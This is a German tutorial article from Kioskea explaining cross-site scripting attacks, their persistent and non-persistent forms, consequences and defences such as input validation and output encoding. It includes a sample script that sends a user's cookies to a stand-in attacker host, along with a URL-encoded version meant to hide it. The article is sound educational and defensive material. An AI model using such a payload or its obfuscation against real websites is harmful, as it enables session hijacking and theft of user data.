Attacchi Cross-Site Scripting Ataques Cross-Site Scripting Attaques Cross-Site Scripting Ataques de secuencia de comandos entre páginas Web (XSS) Cross-Site Scripting attacks

Einfügen von bösartigem Code

Angriffe durch Cross-Site Scripting (wird manchmal XSS oder CSS geschrieben) sind Angriffe, die gegen Websites gerichtet sind, die User-Inhalte dynamisch darstellen, ohne die von den Usern eingegebenen Daten zu überprüfen oder zu codieren. Cross-Site Scripting Angriffe bestehen darin, eine Website dazu zu bringen, vom User eingegebenen HTML-Code oder Scripts auszuführen. Der so in die Website eingefügte Code (man verwendet den Begriff« injiziert ») heißt « bösartig ».

Es kommt oft vor, dass Seiten Informationsnachrichten anzeigen, indem sie direkt einen vom User eingegebenen Parameter aufgreifen. Das klassische Beispiel ist das der « Fehler 404 Seite ». Manche Websites ändern die Reaktion der Website, sodass eine persönliche Fehlermeldung angezeigt wird, wenn die vom User aufgerufene Seite nicht existiert. Manchmal zeigt die dynamisch generierte Seite den Namen der augerufenen Seite an. Gehen wir davon aus, http://anfällige.Seite sei eine Seite mit solch einer Schwachstelle. Der Aufruf der URL http://anfällige.Seite/nichtexistente-Seite entspricht dem Aufruf einer Seite, die es nicht gibt und führt zur Anzeige einer Fehlermeldung, die darauf hinweist, dass « nichtexistente-Seite » nicht existiert. So ist es möglich, sich von der Website das anzeigen zu lassen, was man sehen möchte,indem man « nichtexistente-Seite » durch eine beliebige andere Zeichenfolge ersetzt.

Wenn also der von Usern eingegebene Inhalt in keinster Weise kontrolliert wird, ist es möglich, beliebigen HTML-Code auf einer Website anzuzeigen, um deren Erscheinungsbild, Inhalt oder Verhalten zu änadern.

Außerdem sind die meisten Browser im Stande, auf Websites enthaltene Scripts zu interpretieren, die in verschiedenen Sprachen geschrieben sind, wie JavaScript, VBScript, Java, ActiveX oder Flash. Die folgenden HTML-Tags ermöglichen es so, ausführbare Scripts in Weibsites einzufügen : <SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>.

So kann ein Hacker beliebigen Coden in eine Website injizieren, damit dieser vom PC des Users ausgeführt wird, und zwar innerhalb des Sicherheitsbereichs der betroffenen Website. Um dies zu tun, genügt es, den Wert des Textes, der angezeigt werden soll, durch ein Script zu ersetzen, damit dieses auf der Website angezeigt wird. Sofern der Browser des Users so konfiguriert ist, dass solche Scripts ausgeführt werden, hat der bösartige Code Zugang zu allen Daten, die der Userwebsite und dem Server gemeinsam sind (Cookies, Formularfelder, etc.).

Folgen

Durch die Schwachstelle des Cross-Site Scripting ist es einem Hacker möglich, auf diese Weise Daten zu gewinnen, die zwischen dem User und der jeweiligen Website ausgetauscht wurden. Der in die Website injizierte Code kann so dazu dienen, ein Formular anzuzeigen, um den User zu täuschen und ihn beispielsweise dazu zu bringen, Authentifizierungsinformationen einzugeben.

Des weiteren kann das injizierte Skript dazu dienen, den User zu einer vom Hacker kontrollierten Seite zu leiten, die unter Umständen gleich aussieht, wie die manipulierte Seite, um den User hinters Licht zu führen.

Unter diesen Umständen wird die Vertrauensbasis zwischen dem User und der Website aufs Spiel gesetzt.

Fortdauer des Angriffs

Wenn die vom User eingegebenen Daten eine Zeit lang auf dem Server gespeichert sind (zum Beispiel bei Diskussionsforen), wird der Angriff « fortwährend » genannt. Alle User der Website haben Zugriff auf die Seite, in die der bösartige Code eingefügt wurde.

Angriffe, die « nicht fortwährend » sind, betreffen dynamische Websites, auf denen eine vom User eingegebene Variable als solche dargestellt wird (beispielsweise die Anzeige des Usernamens, der aktuellen Seite oder eines im Formularfeld eingegebenen Wortes). Um diese Schwachstelle ausnützen zu können, muss der Angreifer dem Opfer eine veränderte URL liefern und den einzugebenden Code als Parameter ausgeben. Allerdings könnte dem Opfer eine URL, die Javascript Code-Elemente enthält, verdächtig vorkommen, deswegen wird dieser Angriff meist so ausgeführt, dass die Daten in der URL codiert werden, damit sie den Code, der dem User injiziert wird, maskiert.

Beispiel

Nehmen wir an, die Startseite von Kioskea.net sei anfällig für einen Cross-Site Scripting Angriff, da auf der Startseite eine Willkommensnachricht mit dem Namen des Users als Parameter angezeigt werden kann :

http://de.kioskea.net/?name=Jeff

Jemand mit schlechten Absichten kann einen nicht fortwährenden Cross-Site Scripting Angriff durchführen, indem er einem Opfer eine Adresse liefert, die den Namen « Jeff » durch HTML-Code ersetzt. Er könnte zum Beispiel den folgenden Javascript Code als Parameter ausgeben, welcher den User zu einer von ihm kontrollierten Seite weiterleitet :

<SCRIPT>
document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie
</SCRIPT>

Der oben aufgeführte code ruft die Cookies des Users ab und übermittelt sie als Parameter an ein CGI Skript. Ein solcher Code als Parameter wäre zu augenscheinlich :

http://de.kioskea.net/?name=<SCRIPT>document.location
='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>

Das Codieren der URL ermöglicht es jedoch, den Angriff zu verschleiern :

http://de.kioskea.net/?name=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65%
6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74%
65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e%
63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%
53%43%52%49%50%54%3e

Cross-Attack

Im vorherigen Beispiel wurde das gesamte Script als Parameter der URL ausgegeben. Die GET Methode, die es erlaubt, Parameter in der URL auszugeben, ist auf eine Maximallänge von 255 Zeichen für die URL beschränkt. Durch das SRC Attributs des <SCRIPT> Tags wird es möglich, bösartigen Code auszuführen, der in einem Script auf einem fremden Server gespeichert ist ! Wenn dadurch die Injektion von Code von einer fremden Quelle ermöglicht wird, wird diese Art des Angriffs « Cross-Site » genannt. (« Cross-Site » bedeutet wörtlich « zwischen Seiten »).

Schutz

Von Seiten des Users ist es möglich, sich vor CSS Angriffen zu schützne, indem man den Browser so konfiguriert, dass Scripts nicht ausgeführt werden. In Wirklichkeit bringt diese Lösung aber oft starke Einschränkungen für den User mit sich, da viele Seiten nicht richtig funktionieren, wenn die Ausführung von dynamischen Code nicht möglich ist.

Die einzige verlässliche Weise, Cross-Site Scripting Angriffe zu verhindern, besteht darin, Websites zu konzipieren, die nicht dafür anfällig sind. Dafür muss eine Website :

  • Das Format der vom User eingegebenen Daten überprüfen ;
  • Die angezeigten Userdaten codieren, dabei die Sonderzeichen durch ihre HTML Äquivalente ersetzen.
Der Begriff Sanitation bezeichnet alle Vorgänge, die dazu dienen sollen, vom User eingegebene Daten sicher zu machen

Weitere Informationen



Letzte Änderung am Mittwoch 1 April 2009 à 14:16:21.Das Dokument mit dem titel « Angriffe Cross-Site Scripting » aus Kioskea (de.kioskea.net) zur verfügung gestellt wird unter den bedingungen der Creative Commons lizenz. Können Sie ändern, Kopien dieser Seite, unter den Bedingungen der Lizenz, als diese Bewertung deutlich.
Beste Antworten für « Angriffe Cross Site Scripting » auf :
SYN-Angriff Sehen SYN-Angriff Der« SYN-Angriff » (auch « TCP/SYN Flooding »genannt) ist ein Flooding - Angriff (Denial of Service) welcher den Mechanismus des Drei-Wege Handshakes (auf Englisch Three-ways handshake) des TCP Protokollsausnützt. Über den Drei-Wege...
Einführung zu Angriffen Sehen Einführung zu Angriffen Jeder Computer, der in einem Netzwerk hängt, kann unter Umständen einem Angriff zum Opfer fallen. Ein « Angriff » ist das Ausnützen einer Lücke des Computersystems (Betriebssystem, Software oder sogar User-System) zu...
Ping of death Angriff Sehen Ping of death Angriff DerPing of death Angriff ist einer der ältesten Netzwerkangriffe.Das Prinzip des Ping of deaths besteht ganz einfach darin, ein IP Datagramm zu kreieren, dessen Gesamtgröße die zugelassene Maximalgröße übersteigt (65536...
Download Greasemonkey SehenAllows you to customize the way a webpage displays using small bits of JavaScript. Hundreds of scripts, for a wide variety of popular sites, are already available at http://userscripts.org. You can write your own scripts, too. Check out...
Denial of Service Angriff SehenEinführung zu Denial of Service Angriffen Ein « Denial of Service Angriff » (abgekürzt alsDoS) ist eine Art von Angriff, bei dem auf unbegrenzte Zeit die Leistungen oder Ressourcen einer Organisation lahmgelegt werden sollen. Meistens handelt es...
Angriffe durch die Einschleusung von SQL Befehlen SehenEinschleusung von SQL Befehlen Angriffe über die Einschleusung von SQL Befehlen sind Angriffe, die gegen Websites gerichtet, die auf relationalen Datenbanken basieren. Bei diesen Seiten werden Parameter an die Datenbank in der Form einer SQL...
Man in the middle Angriff(« Mann in der Mitte ») SehenAngriff des ARP Protokolls Einer der bekanntesten man in the middle Angriffe besteht darin, eine Schwachstelle des ARP (Address Resolution Protocol) Protokolls auszunützen, die es erlaubt, die IP Adresse eines Rechners herauszufinden, wenn die...